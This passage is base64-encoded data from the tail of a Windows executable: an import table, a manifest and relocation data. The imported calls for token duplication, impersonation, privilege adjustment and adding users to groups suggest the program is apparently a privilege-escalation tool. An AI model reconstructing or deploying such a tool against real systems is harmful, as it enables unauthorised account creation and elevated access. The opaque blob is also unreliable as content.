sb2MAuAJHZXRQcm9jQWRkcmVzcwAAIQJHZXRDdXJyZW50UHJvY2Vzc0lkAL4CR2V0UHJvY2Vzc0hlYXAAAIECR2V0TW9kdWxlSGFuZGxlVwAAS0VSTkVMMzIuZGxsAABwAUdldFRva2VuSW5mb3JtYXRpb24AqQFMb29rdXBBY2NvdW50U2lkVwDxAER1cGxpY2F0ZVRva2VuRXgAAIsAQ3JlYXRlUHJvY2Vzc0FzVXNlclcAABUCT3BlblByb2Nlc3NUb2tlbgAAiwFJbXBlcnNvbmF0ZUxvZ2dlZE9uVXNlcgCNAENyZWF0ZVByb2Nlc3NXaXRoVG9rZW5XAGwBR2V0U2lkU3ViQXV0aG9yaXR5AABtAUdldFNpZFN1YkF1dGhvcml0eUNvdW50APQCU2V0VG9rZW5JbmZvcm1hdGlvbgDBAlJldmVydFRvU2VsZgAAHwBBZGp1c3RUb2tlblByaXZpbGVnZXMArwFMb29rdXBQcml2aWxlZ2VWYWx1ZVcAQURWQVBJMzIuZGxsAADpAE5ldFVzZXJBZGQAAIkATmV0R3JvdXBBZGRVc2VyAE5FVEFQSTMyLmRsbAAA6wFOdFF1ZXJ5T2JqZWN0AG50ZGxsLmRsbADVBFJ0bENhcHR1cmVDb250ZXh0ANwEUnRsTG9va3VwRnVuY3Rpb25FbnRyeQAA4wRSdGxWaXJ0dWFsVW53aW5kAADABVVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAfwVTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAngVUZXJtaW5hdGVQcm9jZXNzAACMA0lzUHJvY2Vzc29yRmVhdHVyZVByZXNlbnQAUgRRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgAlAkdldEN1cnJlbnRUaHJlYWRJZAAA8wJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBvA0luaXRpYWxpemVTTGlzdEhlYWQAhQNJc0RlYnVnZ2VyUHJlc2VudADaAkdldFN0YXJ0dXBJbmZvVwDiBFJ0bFVud2luZEV4AEEFU2V0TGFzdEVycm9yAAA4AUVudGVyQ3JpdGljYWxTZWN0aW9uAADEA0xlYXZlQ3JpdGljYWxTZWN0aW9uAAAUAURlbGV0ZUNyaXRpY2FsU2VjdGlvbgBrA0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb25BbmRTcGluQ291bnQAsAVUbHNBbGxvYwAAsgVUbHNHZXRWYWx1ZQCzBVRsc1NldFZhbHVlALEFVGxzRnJlZQC0AUZyZWVMaWJyYXJ5AMoDTG9hZExpYnJhcnlFeFcAAGgEUmFpc2VFeGNlcHRpb24AAGcBRXhpdFByb2Nlc3MAgAJHZXRNb2R1bGVIYW5kbGVFeFcAANwCR2V0U3RkSGFuZGxlAAAlBldyaXRlRmlsZQB9AkdldE1vZHVsZUZpbGVOYW1lVwAA3wFHZXRDb21tYW5kTGluZUEA4AFHZXRDb21tYW5kTGluZVcAVQNIZWFwRnJlZQAAngBDb21wYXJlU3RyaW5nVwAAuANMQ01hcFN0cmluZ1cAAFgCR2V0RmlsZVR5cGUAWANIZWFwUmVBbGxvYwB+AUZpbmRDbG9zZQCEAUZpbmRGaXJzdEZpbGVFeFcAAJUBRmluZE5leHRGaWxlVwCSA0lzVmFsaWRDb2RlUGFnZQC7AUdldEFDUAAAoQJHZXRPRU1DUAAAygFHZXRDUEluZm8A9gNNdWx0aUJ5dGVUb1dpZGVDaGFyABEGV2lkZUNoYXJUb011bHRpQnl0ZQBBAkdldEVudmlyb25tZW50U3RyaW5nc1cAALMBRnJlZUVudmlyb25tZW50U3RyaW5nc1cAJAVTZXRFbnZpcm9ubWVudFZhcmlhYmxlVwBbBVNldFN0ZEhhbmRsZQAA4QJHZXRTdHJpbmdUeXBlVwAAqAFGbHVzaEZpbGVCdWZmZXJzAAAJAkdldENvbnNvbGVPdXRwdXRDUAAABQJHZXRDb25zb2xlTW9kZQAAVgJHZXRGaWxlU2l6ZUV4ADMFU2V0RmlsZVBvaW50ZXJFeAAAWgNIZWFwU2l6ZQAAzgBDcmVhdGVGaWxlVwAkBldyaXRlQ29uc29sZVcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMqLfLZkrAADNXSDSZtT///////8BAAAAAQAAAAIAAAAAAAgAAAAAAAAAAAIAAAAA/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAAAAADAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//////////wAAAAAAAAAAgAAKCgoAAAAAAAAAAAAAAEJqAUABAAAA/////wAAAAAAAAAAAAAAAEBlAUABAAAAAQAAAAAAAAABAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACjzAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKPMBQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAo8wFAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACjzAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAKPMBQAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcPgBQAEAAAAAAAAAAAAAAAAAAAAAAAAAwGcBQAEAAABAaQFAAQAAAFBsAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwPEBQAEAAAAw8wFAAQAAAEMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAAAAAAAAAgICAgICAgICAgICAgICAgICAgICAgICAgIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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IrRCtGK0grSitMK04rUCtSK1QrVitYK1orXCteK2ArYitkK2YraCtsK24rcCtyK3Qrdit4K3orfCt+K0ArgiuEK4YriCuKK4wrjiuQK5IrlCuWK5grmiucK54roCuiK6QrpiuoK6orrCuuK7Arsiu0K7YruCu6K7wrviuAK8IrwAAAHABALABAADQotii4KLoovCi+KIAowijEKMYoyCjKKMwozijQKNIo6ijsKO4o8CjGKQopDikSKRYpGikeKSIpJikqKS4pMik2KTopPikCKUYpSilOKVIpVilaKV4pYilmKWopbilyKXYpeil+KUIphimKKY4pkimWKZopnimiKaYpqimuKbIptim6Kb4pginGKcopzinSKdYp2ineKeIp5inqKe4p8in2Kfop/inCKgYqCioOKhIqFioaKh4qIiomKioqLioyKjYqOio+KgIqRipKKk4qUipWKloqXipiKmYqaipuKnIqdip6Kn4qQiqGKooqjiqSKpYqmiqeKqIqpiqqKq4qsiq2KroqviqCKsYqyirOKtIq1iraKt4q4irmKuoq7iryKvYq+ir+KsIrBisKKw4rEisWKxorHisiKyYrKisuKzIrNis6Kz4rAitGK0orTitSK1YrWiteK2IrZitqK24rcit2K3orfitCK4YriiuOK5IrliuaK54roiumK6orriuyK7Yruiu+K4IrxivKK84r0ivWK9or3iviK+Yr6ivuK/Ir9iv6K/4rwAAAIABAIQAAAAIoBigKKA4oEigWKBooHigiKCYoKiguKDIoNig6KD4oAihGKEooTihSKFYoWiheKGIoZihqKG4ocih2KHoofihCKIYoiiiOKJIonCugK6QrqCusK7ArtCu4K7wrgCvEK8grzCvQK9Qr2CvcK+Ar5CvoK+wr8Cv0K/gr/CvAJABAKABAAAAoBCgIKAwoECgUKBgoHCggKCQoKCgsKDAoNCg4KDwoAChEKEgoTChQKFQoWChcKGAoZChoKGwocCh0KHgofChAKIQoiCiMKJAolCiYKJwooCikKKgorCiwKLQouCi8KIAoxCjIKMwo0CjUKNgo3CjgKOQo6CjsKPAo9Cj4KPwowCkEKQgpDCkQKRQpGCkcKSApJCkoKSwpMCk0KTgpPCkAKUQpSClMKVApVClYKVwpYClkKWgpbClwKXQpeCl8KUAphCmIKYwpkCmUKZgpnCmgKaQpqCmsKbAptCm4KbwpgCnEKcgpzCnQKdQp2CncKeAp5CnoKewp8Cn0Kfgp/CnAKgQqCCoMKhAqFCoYKhwqICokKigqLCowKjQqOCo8KgAqRCpIKkwqUCpUKlgqXCpgKmQqaCpsKnAqdCp4KnwqQCqEKogqjCqQKpQqmCqcKqAqpCqoKqwqsCq0KrgqvCqAKsQqyCrMKtAq1CrYKtwq4CrkKugq7CrwKvQq+Cr8KsArBCsIKwwrECsUKxgrHCsgKyQrKCsAAAAwAEAEAAAAHivkK+Y